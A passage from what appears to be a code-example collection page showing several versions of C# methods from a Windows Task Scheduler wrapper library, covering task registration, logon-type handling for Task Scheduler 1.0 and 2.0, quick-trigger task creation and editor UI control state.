                        throw new ArgumentException(@"A password cannot be supplied when specifying TaskLogonType.ServiceAccount.", nameof(password));
                    }
                }

                /*else if ((LogonType == TaskLogonType.Password || LogonType == TaskLogonType.InteractiveTokenOrPassword ||
                 *      (LogonType == TaskLogonType.S4U && UserId != null && !user.IsCurrent)) && password == null)
                 * {
                 *      throw new ArgumentException("A password must be supplied when specifying TaskLogonType.Password or TaskLogonType.InteractiveTokenOrPassword or TaskLogonType.S4U from another account.", nameof(password));
                 * }*/
                else if (logonType == TaskLogonType.Group && password != null)
                {
                    throw new ArgumentException(@"A password cannot be supplied when specifying TaskLogonType.Group.", nameof(password));
                }
                // The following line compensates for an omission in the native library that never actually sets the registration date (thanks ixm7).
                if (definition.RegistrationInfo.Date == DateTime.MinValue)
                {
                    definition.RegistrationInfo.Date = DateTime.Now;
                }
                var iRegTask = v2Folder.RegisterTaskDefinition(path, definition.v2Def, (int)createType, userId ?? user.Name, password, logonType, sddl);
                if (createType == TaskCreation.ValidateOnly && iRegTask == null)
                {
                    return(null);
                }
                return(Task.CreateTask(TaskService, iRegTask));
            }

            // Check for V1 invalid task names
            string invChars = Regex.Escape(new string(System.IO.Path.GetInvalidFileNameChars()));

            if (Regex.IsMatch(path, @"[" + invChars + @"]"))
            {
                throw new ArgumentOutOfRangeException(nameof(path), @"Task names may not include any characters which are invalid for file names.");
            }
            if (Regex.IsMatch(path, @"\.[^" + invChars + @"]{0,3}\z"))
            {
                throw new ArgumentOutOfRangeException(nameof(path), @"Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library.");
            }

            // Adds ability to set a password for a V1 task. Provided by Arcao.
            TaskFlags flags = definition.v1Task.GetFlags();

            if (logonType == TaskLogonType.InteractiveTokenOrPassword && string.IsNullOrEmpty(password))
            {
                logonType = TaskLogonType.InteractiveToken;
            }
            switch (logonType)
            {
            case TaskLogonType.Group:
            case TaskLogonType.S4U:
            case TaskLogonType.None:
                throw new NotV1SupportedException("This LogonType is not supported on Task Scheduler 1.0.");

            case TaskLogonType.InteractiveToken:
                flags |= (TaskFlags.RunOnlyIfLoggedOn | TaskFlags.Interactive);
                definition.v1Task.SetAccountInformation(user.Name, IntPtr.Zero);
                break;

            case TaskLogonType.ServiceAccount:
                flags &= ~(TaskFlags.Interactive | TaskFlags.RunOnlyIfLoggedOn);
                definition.v1Task.SetAccountInformation((String.IsNullOrEmpty(userId) || user.IsSystem) ? String.Empty : user.Name, IntPtr.Zero);
                break;

            case TaskLogonType.InteractiveTokenOrPassword:
                flags |= TaskFlags.Interactive;
                using (CoTaskMemString cpwd = new CoTaskMemString(password))
                    definition.v1Task.SetAccountInformation(user.Name, cpwd.DangerousGetHandle());
                break;

            case TaskLogonType.Password:
                using (CoTaskMemString cpwd = new CoTaskMemString(password))
                    definition.v1Task.SetAccountInformation(user.Name, cpwd.DangerousGetHandle());
                break;

            default:
                throw new ArgumentOutOfRangeException(nameof(logonType), logonType, null);
            }
            definition.v1Task.SetFlags(flags);

            switch (createType)
            {
            case TaskCreation.Create:
            case TaskCreation.CreateOrUpdate:
            case TaskCreation.Disable:
            case TaskCreation.Update:
                if (createType == TaskCreation.Disable)
                {
                    definition.Settings.Enabled = false;
                }
                definition.V1Save(path);
                break;

            case TaskCreation.DontAddPrincipalAce:
                throw new NotV1SupportedException("Security settings are not available on Task Scheduler 1.0.");

            case TaskCreation.IgnoreRegistrationTriggers:
                throw new NotV1SupportedException("Registration triggers are not available on Task Scheduler 1.0.");

            case TaskCreation.ValidateOnly:
                throw new NotV1SupportedException("XML validation not available on Task Scheduler 1.0.");

            default:
                throw new ArgumentOutOfRangeException(nameof(createType), createType, null);
            }
            return(new Task(TaskService, definition.v1Task));
        }
        /// <summary>
        /// Registers (creates) a task in a specified location using a <see cref="TaskDefinition" /> instance to define a task.
        /// </summary>
        /// <param name="Path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
        /// <param name="definition">The <see cref="TaskDefinition" /> of the registered task.</param>
        /// <param name="createType">A union of <see cref="TaskCreation" /> flags.</param>
        /// <param name="UserId">The user credentials used to register the task.</param>
        /// <param name="password">The password for the userId used to register the task.</param>
        /// <param name="LogonType">A <see cref="TaskLogonType" /> value that defines what logon technique is used to run the registered task.</param>
        /// <param name="sddl">The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task.</param>
        /// <returns>
        /// A <see cref="Task" /> instance that represents the new task. This will return <c>null</c> if <paramref name="createType"/> is set to <c>ValidateOnly</c> and there are no validation errors.
        /// </returns>
        /// <exception cref="System.ArgumentOutOfRangeException">
        /// Path;Task names may not include any characters which are invalid for file names.
        /// or
        /// Path;Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library.
        /// </exception>
        /// <exception cref="NotV1SupportedException">This LogonType is not supported on Task Scheduler 1.0.
        /// or
        /// Security settings are not available on Task Scheduler 1.0.
        /// or
        /// Registration triggers are not available on Task Scheduler 1.0.
        /// or
        /// Xml validation not available on Task Scheduler 1.0.</exception>
        public Task RegisterTaskDefinition(string Path, TaskDefinition definition, TaskCreation createType, string UserId, string password = null, TaskLogonType LogonType = TaskLogonType.S4U, string sddl = null)
        {
            if (v2Folder != null)
            {
                definition.Actions.ConvertUnsupportedActions();
                var iRegTask = v2Folder.RegisterTaskDefinition(Path, definition.v2Def, (int)createType, UserId, password, LogonType, sddl);
                if (createType == TaskCreation.ValidateOnly && iRegTask == null)
                {
                    return(null);
                }
                return(Task.CreateTask(this.TaskService, iRegTask));
            }

            // Check for V1 invalid task names
            string invChars = System.Text.RegularExpressions.Regex.Escape(new string(System.IO.Path.GetInvalidFileNameChars()));

            if (System.Text.RegularExpressions.Regex.IsMatch(Path, @"[" + invChars + @"]"))
            {
                throw new ArgumentOutOfRangeException("Path", "Task names may not include any characters which are invalid for file names.");
            }
            if (System.Text.RegularExpressions.Regex.IsMatch(Path, @"\.[^" + invChars + @"]{0,3}\z"))
            {
                throw new ArgumentOutOfRangeException("Path", "Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library.");
            }

            // Adds ability to set a password for a V1 task. Provided by Arcao.
            V1Interop.TaskFlags flags = definition.v1Task.GetFlags();
            if (LogonType == TaskLogonType.InteractiveTokenOrPassword && string.IsNullOrEmpty(password))
            {
                LogonType = TaskLogonType.InteractiveToken;
            }
            if (string.IsNullOrEmpty(UserId))
            {
                UserId = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
            }
            switch (LogonType)
            {
            case TaskLogonType.Group:
            case TaskLogonType.S4U:
            case TaskLogonType.None:
                throw new NotV1SupportedException("This LogonType is not supported on Task Scheduler 1.0.");

            case TaskLogonType.InteractiveToken:
                flags |= (V1Interop.TaskFlags.RunOnlyIfLoggedOn | V1Interop.TaskFlags.Interactive);
                if (String.IsNullOrEmpty(UserId))
                {
                    UserId = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
                }
                definition.v1Task.SetAccountInformation(UserId, IntPtr.Zero);
                break;

            case TaskLogonType.ServiceAccount:
                flags &= ~(V1Interop.TaskFlags.Interactive | V1Interop.TaskFlags.RunOnlyIfLoggedOn);
                definition.v1Task.SetAccountInformation((String.IsNullOrEmpty(UserId) || UserId.Equals("SYSTEM", StringComparison.CurrentCultureIgnoreCase)) ? String.Empty : UserId, IntPtr.Zero);
                break;

            case TaskLogonType.InteractiveTokenOrPassword:
                flags |= V1Interop.TaskFlags.Interactive;
                using (V1Interop.CoTaskMemString cpwd = new V1Interop.CoTaskMemString(password))
                    definition.v1Task.SetAccountInformation(UserId, cpwd.DangerousGetHandle());
                break;

            case TaskLogonType.Password:
                using (V1Interop.CoTaskMemString cpwd = new V1Interop.CoTaskMemString(password))
                    definition.v1Task.SetAccountInformation(UserId, cpwd.DangerousGetHandle());
                break;

            default:
                break;
            }
            definition.v1Task.SetFlags(flags);

            switch (createType)
            {
            case TaskCreation.Create:
            case TaskCreation.CreateOrUpdate:
            case TaskCreation.Disable:
            case TaskCreation.Update:
                if (createType == TaskCreation.Disable)
                {
                    definition.Settings.Enabled = false;
                }
                definition.V1Save(Path);
                break;

            case TaskCreation.DontAddPrincipalAce:
                throw new NotV1SupportedException("Security settings are not available on Task Scheduler 1.0.");

            case TaskCreation.IgnoreRegistrationTriggers:
                throw new NotV1SupportedException("Registration triggers are not available on Task Scheduler 1.0.");

            case TaskCreation.ValidateOnly:
                throw new NotV1SupportedException("Xml validation not available on Task Scheduler 1.0.");

            default:
                break;
            }
            return(new Task(this.TaskService, definition.v1Task));
        }
        /// <summary>
        /// Registers (creates) a new task in the folder using XML to define the task.
        /// </summary>
        /// <param name="Path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
        /// <param name="XmlText">An XML-formatted definition of the task.</param>
        /// <param name="createType">A union of <see cref="TaskCreation"/> flags.</param>
        /// <param name="UserId">The user credentials used to register the task.</param>
        /// <param name="password">The password for the userId used to register the task.</param>
        /// <param name="LogonType">A <see cref="TaskLogonType"/> value that defines what logon technique is used to run the registered task.</param>
        /// <param name="sddl">The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task.</param>
        /// <returns>A <see cref="Task"/> instance that represents the new task.</returns>
        public Task RegisterTask(string Path, string XmlText, TaskCreation createType = TaskCreation.CreateOrUpdate, string UserId = null, string password = null, TaskLogonType LogonType = TaskLogonType.S4U, string sddl = null)
        {
            if (v2Folder != null)
            {
                return(Task.CreateTask(this.TaskService, v2Folder.RegisterTask(Path, XmlText, (int)createType, UserId, password, LogonType, sddl)));
            }

            try
            {
                TaskDefinition td = this.TaskService.NewTask();
                XmlSerializationHelper.ReadObjectFromXmlText(XmlText, td);
                return(this.RegisterTaskDefinition(Path, td, createType, UserId == null ? td.Principal.ToString() : UserId,
                                                   password, LogonType == TaskLogonType.S4U ? td.Principal.LogonType : LogonType, sddl));
            }
            catch
            {
                throw;                 // new NotV1SupportedException();
            }
        }
Example #20
0
        /// <summary>
        /// Creates a new task, registers the task, and returns the instance.
        /// </summary>
        /// <param name="path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
        /// <param name="trigger">The <see cref="Trigger" /> to determine when to run the task.</param>
        /// <param name="exePath">The executable path.</param>
        /// <param name="arguments">The arguments (optional). Value can be NULL.</param>
        /// <param name="userId">The user credentials used to register the task.</param>
        /// <param name="password">The password for the userId used to register the task.</param>
        /// <param name="logonType">A <see cref="TaskLogonType" /> value that defines what logon technique is used to run the registered task.</param>
        /// <param name="description">The task description.</param>
        /// <returns>
        /// A <see cref="Task" /> instance of the registered task.
        /// </returns>
        public Task AddTask([NotNull] string path, QuickTriggerType trigger, [NotNull] string exePath, string arguments = null, string userId = null, string password = null, TaskLogonType logonType = TaskLogonType.InteractiveToken, string description = null)
        {
            // Create a trigger based on quick trigger
            Trigger newTrigger;

            switch (trigger)
            {
            case QuickTriggerType.Boot:
                newTrigger = new BootTrigger();
                break;

            case QuickTriggerType.Idle:
                newTrigger = new IdleTrigger();
                break;

            case QuickTriggerType.Logon:
                newTrigger = new LogonTrigger();
                break;

            case QuickTriggerType.TaskRegistration:
                newTrigger = new RegistrationTrigger();
                break;

            case QuickTriggerType.Hourly:
                newTrigger = new DailyTrigger {
                    Repetition = new RepetitionPattern(TimeSpan.FromHours(1), TimeSpan.FromDays(1))
                };
                break;

            case QuickTriggerType.Daily:
                newTrigger = new DailyTrigger();
                break;

            case QuickTriggerType.Weekly:
                newTrigger = new WeeklyTrigger();
                break;

            case QuickTriggerType.Monthly:
                newTrigger = new MonthlyTrigger();
                break;

            default:
                throw new ArgumentOutOfRangeException(nameof(trigger), trigger, null);
            }

            return(AddTask(path, newTrigger, new ExecAction(exePath, arguments), userId, password, logonType, description));
        }
Example #21
0
        /// <summary>
        /// Creates a new task, registers the task, and returns the instance.
        /// </summary>
        /// <param name="path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
        /// <param name="trigger">The <see cref="Trigger"/> to determine when to run the task.</param>
        /// <param name="action">The <see cref="Action"/> to determine what happens when the task is triggered.</param>
        /// <param name="userId">The user credentials used to register the task.</param>
        /// <param name="password">The password for the userId used to register the task.</param>
        /// <param name="logonType">A <see cref="TaskLogonType"/> value that defines what logon technique is used to run the registered task.</param>
        /// <param name="description">The task description.</param>
        /// <returns>
        /// A <see cref="Task"/> instance of the registered task.
        /// </returns>
        public Task AddTask([NotNull] string path, [NotNull] Trigger trigger, [NotNull] Action action, string userId = null, string password = null, TaskLogonType logonType = TaskLogonType.InteractiveToken, string description = null)
        {
            TaskDefinition td = NewTask();

            if (!string.IsNullOrEmpty(description))
            {
                td.RegistrationInfo.Description = description;
            }

            // Create a trigger that will fire the task at a specific date and time
            td.Triggers.Add(trigger);

            // Create an action that will launch Notepad whenever the trigger fires
            td.Actions.Add(action);

            // Register the task in the root folder
            return(RootFolder.RegisterTaskDefinition(path, td, TaskCreation.CreateOrUpdate, userId, password, logonType));
        }
        private void SetUserControls(TaskLogonType logonType)
        {
            switch (logonType)
            {
            case TaskLogonType.InteractiveToken:
                flagRunOnlyWhenUserIsLoggedOn = true;
                flagExecutorIsServiceAccount  = false;
                flagExecutorIsGroup           = false;
                break;

            case TaskLogonType.Group:
                flagRunOnlyWhenUserIsLoggedOn = true;
                flagExecutorIsServiceAccount  = false;
                flagExecutorIsGroup           = true;
                break;

            case TaskLogonType.ServiceAccount:
                flagRunOnlyWhenUserIsLoggedOn = false;
                flagExecutorIsServiceAccount  = true;
                flagExecutorIsGroup           = false;
                break;

            default:
                flagRunOnlyWhenUserIsLoggedOn = false;
                flagExecutorIsServiceAccount  = false;
                flagExecutorIsGroup           = false;
                break;
            }

            if (flagExecutorIsServiceAccount)
            {
                taskLoggedOnRadio.Enabled       = false;
                taskLoggedOptionalRadio.Enabled = false;
                taskLocalOnlyCheck.Enabled      = false;
            }
            else if (flagExecutorIsGroup)
            {
                taskLoggedOnRadio.Enabled       = true;
                taskLoggedOptionalRadio.Enabled = false;
                taskLocalOnlyCheck.Enabled      = false;
            }
            else if (flagRunOnlyWhenUserIsLoggedOn)
            {
                taskLoggedOnRadio.Enabled       = true;
                taskLoggedOptionalRadio.Enabled = true;
                taskLocalOnlyCheck.Enabled      = false;
            }
            else
            {
                taskLoggedOnRadio.Enabled       = true;
                taskLoggedOptionalRadio.Enabled = true;
                taskLocalOnlyCheck.Enabled      = true && (task == null || IsV2);
            }

            taskLoggedOnRadio.Checked       = flagRunOnlyWhenUserIsLoggedOn;
            taskLoggedOptionalRadio.Checked = !flagRunOnlyWhenUserIsLoggedOn;
            taskLocalOnlyCheck.Checked      = !flagRunOnlyWhenUserIsLoggedOn && logonType == TaskLogonType.S4U;

            string user = td == null ? null : td.Principal.ToString();

            if (string.IsNullOrEmpty(user))
            {
                user = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
            }
            taskPrincipalText.Text = user;
        }
Example #23
0
        /// <summary>
        /// Registers (creates) a task in a specified location using a <see cref="TaskDefinition"/> instance to define a task.
        /// </summary>
        /// <param name="Path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
        /// <param name="definition">The <see cref="TaskDefinition"/> of the registered task.</param>
        /// <param name="createType">A union of <see cref="TaskCreation"/> flags.</param>
        /// <param name="UserId">The user credentials used to register the task.</param>
        /// <param name="password">The password for the userId used to register the task.</param>
        /// <param name="LogonType">A <see cref="TaskLogonType"/> value that defines what logon technique is used to run the registered task.</param>
        /// <param name="sddl">The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task.</param>
        /// <returns>A <see cref="Task"/> instance that represents the new task.</returns>
        public Task RegisterTaskDefinition(string Path, TaskDefinition definition, TaskCreation createType, string UserId, string password, TaskLogonType LogonType, string sddl)
        {
            if (v2Folder != null)
                return new Task(this.TaskService, v2Folder.RegisterTaskDefinition(Path, definition.v2Def, (int)createType, UserId, password, LogonType, sddl));

            // Adds ability to set a password for a V1 task. Provided by Arcao.
            V1Interop.TaskFlags flags = definition.v1Task.GetFlags();
            switch (LogonType)
            {
                case TaskLogonType.Group:
                case TaskLogonType.S4U:
                case TaskLogonType.None:
                    throw new NotV1SupportedException("This LogonType is not supported on Task Scheduler 1.0.");
                case TaskLogonType.InteractiveToken:
                    flags |= (V1Interop.TaskFlags.RunOnlyIfLoggedOn | V1Interop.TaskFlags.Interactive);
                    if (String.IsNullOrEmpty(UserId))
                        UserId = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
                    definition.v1Task.SetAccountInformation(UserId, IntPtr.Zero);
                    break;
                case TaskLogonType.ServiceAccount:
                    flags &= ~(V1Interop.TaskFlags.Interactive | V1Interop.TaskFlags.RunOnlyIfLoggedOn);
                    definition.v1Task.SetAccountInformation(String.IsNullOrEmpty(UserId) ? String.Empty : UserId, IntPtr.Zero);
                    break;
                case TaskLogonType.InteractiveTokenOrPassword:
                    flags |= V1Interop.TaskFlags.Interactive;
                    using (V1Interop.CoTaskMemString cpwd = new V1Interop.CoTaskMemString(password))
                        definition.v1Task.SetAccountInformation(UserId, cpwd.DangerousGetHandle());
                    break;
                case TaskLogonType.Password:
                    using (V1Interop.CoTaskMemString cpwd = new V1Interop.CoTaskMemString(password))
                        definition.v1Task.SetAccountInformation(UserId, cpwd.DangerousGetHandle());
                    break;
                default:
                    break;
            }
            definition.v1Task.SetFlags(flags);

            switch (createType)
            {
                case TaskCreation.Create:
                case TaskCreation.CreateOrUpdate:
                case TaskCreation.Disable:
                case TaskCreation.Update:
                    if (createType == TaskCreation.Disable)
                        definition.Settings.Enabled = false;
                    definition.V1Save(Path);
                    break;
                case TaskCreation.DontAddPrincipalAce:
                    throw new NotV1SupportedException("Security settings are not available on Task Scheduler 1.0.");
                case TaskCreation.IgnoreRegistrationTriggers:
                    throw new NotV1SupportedException("Registration triggers are not available on Task Scheduler 1.0.");
                case TaskCreation.ValidateOnly:
                    throw new NotV1SupportedException("Xml validation not available on Task Scheduler 1.0.");
                default:
                    break;
            }
            return new Task(this.TaskService, definition.v1Task);
        }
        private void SetUserControls(TaskLogonType logonType)
        {
            bool editable = parent.Editable;
            bool prevOnAssignment = onAssignment;
            onAssignment = true;
            switch (logonType)
            {
                case TaskLogonType.InteractiveToken:
                    this.flagRunOnlyWhenUserIsLoggedOn = true;
                    this.flagExecutorIsServiceAccount = false;
                    this.flagExecutorIsGroup = false;
                    break;
                case TaskLogonType.Group:
                    this.flagRunOnlyWhenUserIsLoggedOn = true;
                    this.flagExecutorIsServiceAccount = false;
                    this.flagExecutorIsGroup = true;
                    break;
                case TaskLogonType.ServiceAccount:
                    this.flagRunOnlyWhenUserIsLoggedOn = false;
                    this.flagExecutorIsServiceAccount = true;
                    this.flagExecutorIsGroup = false;
                    break;
                default:
                    this.flagRunOnlyWhenUserIsLoggedOn = false;
                    this.flagExecutorIsServiceAccount = false;
                    this.flagExecutorIsGroup = false;
                    break;
            }

            if (this.flagExecutorIsServiceAccount)
            {
                taskLoggedOnRadio.Enabled = false;
                taskLoggedOptionalRadio.Enabled = false;
                taskLocalOnlyCheck.Enabled = false;
            }
            else if (this.flagExecutorIsGroup)
            {
                taskLoggedOnRadio.Enabled = editable;
                taskLoggedOptionalRadio.Enabled = false;
                taskLocalOnlyCheck.Enabled = false;
            }
            else if (this.flagRunOnlyWhenUserIsLoggedOn)
            {
                taskLoggedOnRadio.Enabled = editable;
                taskLoggedOptionalRadio.Enabled = editable;
                taskLocalOnlyCheck.Enabled = false;
            }
            else
            {
                taskLoggedOnRadio.Enabled = editable;
                taskLoggedOptionalRadio.Enabled = editable;
                taskLocalOnlyCheck.Enabled = editable && (parent.Task == null || parent.IsV2);
            }

            taskLoggedOnRadio.Checked = flagRunOnlyWhenUserIsLoggedOn;
            taskLoggedOptionalRadio.Checked = !flagRunOnlyWhenUserIsLoggedOn;
            taskLocalOnlyCheck.Checked = !flagRunOnlyWhenUserIsLoggedOn && logonType == TaskLogonType.S4U;

            string user = td == null ? null : td.Principal.ToString();
            if (string.IsNullOrEmpty(user))
                user = WindowsIdentity.GetCurrent().Name;
            taskPrincipalText.Text = user;
            changePrincipalButton.Text = flagUserIsAnAdmin ? EditorProperties.Resources.ChangeUserBtn : EditorProperties.Resources.ChangeUserBtnNonAdmin;
            onAssignment = prevOnAssignment;
        }
Example #25
0
        /// <summary>
        /// Registers (creates) a new task in the folder using XML to define the task.
        /// </summary>
        /// <param name="path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
        /// <param name="xmlText">An XML-formatted definition of the task.</param>
        /// <param name="createType">A union of <see cref="TaskCreation"/> flags.</param>
        /// <param name="userId">The user credentials used to register the task.</param>
        /// <param name="password">The password for the userId used to register the task.</param>
        /// <param name="logonType">A <see cref="TaskLogonType"/> value that defines what logon technique is used to run the registered task.</param>
        /// <param name="sddl">The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task.</param>
        /// <returns>A <see cref="Task"/> instance that represents the new task.</returns>
        /// <example><code lang="cs"><![CDATA[
        /// // Define a basic task in XML
        /// var xml = "<?xml version=\"1.0\" encoding=\"UTF-16\"?>" +
        ///    "<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">" +
        ///    "  <Principals>" +
        ///    "    <Principal id=\"Author\">" +
        ///    "      <UserId>S-1-5-18</UserId>" +
        ///    "    </Principal>" +
        ///    "  </Principals>" +
        ///    "  <Triggers>" +
        ///    "    <CalendarTrigger>" +
        ///    "      <StartBoundary>2017-09-04T14:04:03</StartBoundary>" +
        ///    "      <ScheduleByDay />" +
        ///    "    </CalendarTrigger>" +
        ///    "  </Triggers>" +
        ///    "  <Actions Context=\"Author\">" +
        ///    "    <Exec>" +
        ///    "      <Command>cmd</Command>" +
        ///    "    </Exec>" +
        ///    "  </Actions>" +
        ///    "</Task>";
        /// // Register the task in the root folder of the local machine using the SYSTEM account defined in XML
        /// TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml);
        /// ]]></code></example>
        public Task RegisterTask(string path, [NotNull] string xmlText, TaskCreation createType = TaskCreation.CreateOrUpdate, string userId = null, string password = null, TaskLogonType logonType = TaskLogonType.S4U, string sddl = null)
        {
            if (v2Folder != null)
            {
                return(Task.CreateTask(TaskService, v2Folder.RegisterTask(path, xmlText, (int)createType, userId, password, logonType, sddl)));
            }

            TaskDefinition td = TaskService.NewTask();

            XmlSerializationHelper.ReadObjectFromXmlText(xmlText, td);
            return(RegisterTaskDefinition(path, td, createType, userId ?? td.Principal.ToString(),
                                          password, logonType == TaskLogonType.S4U ? td.Principal.LogonType : logonType, sddl));
        }
Example #26
0
        /// <summary>
        ///     Registers (creates) a task in a specified location using a <see cref="TaskDefinition" /> instance to define a task.
        /// </summary>
        /// <param name="Path"> The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. </param>
        /// <param name="definition">
        ///     The <see cref="TaskDefinition" /> of the registered task.
        /// </param>
        /// <param name="createType">
        ///     A union of <see cref="TaskCreation" /> flags.
        /// </param>
        /// <param name="UserId"> The user credentials used to register the task. </param>
        /// <param name="password"> The password for the userId used to register the task. </param>
        /// <param name="LogonType">
        ///     A <see cref="TaskLogonType" /> value that defines what logon technique is used to run the registered task.
        /// </param>
        /// <param name="sddl"> The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. </param>
        /// <returns>
        ///     A <see cref="Task" /> instance that represents the new task.
        /// </returns>
        public Task RegisterTaskDefinition(string Path, TaskDefinition definition, TaskCreation createType, string UserId,
                                           string password = null, TaskLogonType LogonType = TaskLogonType.S4U, string sddl = null)
        {
            if (v2Folder != null)
            {
                return(new Task(TaskService,
                                v2Folder.RegisterTaskDefinition(Path, definition.v2Def, (int)createType, UserId, password, LogonType, sddl)));
            }

            // Adds ability to set a password for a V1 task. Provided by Arcao.
            var flags = definition.v1Task.GetFlags();

            if (LogonType == TaskLogonType.InteractiveTokenOrPassword && string.IsNullOrEmpty(password))
            {
                LogonType = TaskLogonType.InteractiveToken;
            }
            switch (LogonType)
            {
            case TaskLogonType.Group:
            case TaskLogonType.S4U:
            case TaskLogonType.None:
                throw new NotV1SupportedException("This LogonType is not supported on Task Scheduler 1.0.");

            case TaskLogonType.InteractiveToken:
                flags |= (TaskFlags.RunOnlyIfLoggedOn | TaskFlags.Interactive);
                if (String.IsNullOrEmpty(UserId))
                {
                    UserId = WindowsIdentity.GetCurrent().Name;
                }
                definition.v1Task.SetAccountInformation(UserId, IntPtr.Zero);
                break;

            case TaskLogonType.ServiceAccount:
                flags &= ~(TaskFlags.Interactive | TaskFlags.RunOnlyIfLoggedOn);
                definition.v1Task.SetAccountInformation(
                    (String.IsNullOrEmpty(UserId) || UserId.Equals("SYSTEM", StringComparison.CurrentCultureIgnoreCase))
                            ? String.Empty
                            : UserId, IntPtr.Zero);
                break;

            case TaskLogonType.InteractiveTokenOrPassword:
                flags |= TaskFlags.Interactive;
                using (var cpwd = new CoTaskMemString(password)) {
                    definition.v1Task.SetAccountInformation(UserId, cpwd.DangerousGetHandle());
                }
                break;

            case TaskLogonType.Password:
                using (var cpwd = new CoTaskMemString(password)) {
                    definition.v1Task.SetAccountInformation(UserId, cpwd.DangerousGetHandle());
                }
                break;

            default:
                break;
            }
            definition.v1Task.SetFlags(flags);

            switch (createType)
            {
            case TaskCreation.Create:
            case TaskCreation.CreateOrUpdate:
            case TaskCreation.Disable:
            case TaskCreation.Update:
                if (createType == TaskCreation.Disable)
                {
                    definition.Settings.Enabled = false;
                }
                definition.V1Save(Path);
                break;

            case TaskCreation.DontAddPrincipalAce:
                throw new NotV1SupportedException("Security settings are not available on Task Scheduler 1.0.");

            case TaskCreation.IgnoreRegistrationTriggers:
                throw new NotV1SupportedException("Registration triggers are not available on Task Scheduler 1.0.");

            case TaskCreation.ValidateOnly:
                throw new NotV1SupportedException("Xml validation not available on Task Scheduler 1.0.");

            default:
                break;
            }
            return(new Task(TaskService, definition.v1Task));
        }
        private void SetUserControls(TaskLogonType logonType)
        {
            bool editable         = parent.Editable;
            bool prevOnAssignment = onAssignment;

            onAssignment = true;
            switch (logonType)
            {
            case TaskLogonType.InteractiveToken:
                flagRunOnlyWhenUserIsLoggedOn = true;
                flagExecutorIsServiceAccount  = false;
                flagExecutorIsGroup           = false;
                break;

            case TaskLogonType.Group:
                flagRunOnlyWhenUserIsLoggedOn = true;
                flagExecutorIsServiceAccount  = false;
                flagExecutorIsGroup           = true;
                break;

            case TaskLogonType.ServiceAccount:
                flagRunOnlyWhenUserIsLoggedOn = false;
                flagExecutorIsServiceAccount  = true;
                flagExecutorIsGroup           = false;
                break;

            default:
                flagRunOnlyWhenUserIsLoggedOn = false;
                flagExecutorIsServiceAccount  = false;
                flagExecutorIsGroup           = false;
                break;
            }

            if (flagExecutorIsServiceAccount)
            {
                taskLoggedOnRadio.Enabled       = false;
                taskLoggedOptionalRadio.Enabled = false;
                taskLocalOnlyCheck.Enabled      = false;
            }
            else if (flagExecutorIsGroup)
            {
                taskLoggedOnRadio.Enabled       = editable;
                taskLoggedOptionalRadio.Enabled = false;
                taskLocalOnlyCheck.Enabled      = false;
            }
            else if (flagRunOnlyWhenUserIsLoggedOn)
            {
                taskLoggedOnRadio.Enabled       = editable;
                taskLoggedOptionalRadio.Enabled = editable;
                taskLocalOnlyCheck.Enabled      = false;
            }
            else
            {
                taskLoggedOnRadio.Enabled       = editable;
                taskLoggedOptionalRadio.Enabled = editable;
                taskLocalOnlyCheck.Enabled      = editable && parent.IsV2;
            }

            taskLoggedOnRadio.Checked       = flagRunOnlyWhenUserIsLoggedOn;
            taskLoggedOptionalRadio.Checked = !flagRunOnlyWhenUserIsLoggedOn;
            taskLocalOnlyCheck.Checked      = !flagRunOnlyWhenUserIsLoggedOn && logonType == TaskLogonType.S4U;

            string user = td == null ? null : td.Principal.ToString();

            if (string.IsNullOrEmpty(user))
            {
                user = WindowsIdentity.GetCurrent().Name;
            }
            taskPrincipalText.Text     = user;
            changePrincipalButton.Text = flagUserIsAnAdmin ? EditorProperties.Resources.ChangeUserBtn : EditorProperties.Resources.ChangeUserBtnNonAdmin;
            onAssignment = prevOnAssignment;
        }
Example #28
0
        /// <summary>
        /// Creates a new task, registers the taks, and returns the instance.
        /// </summary>
        /// <param name="path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
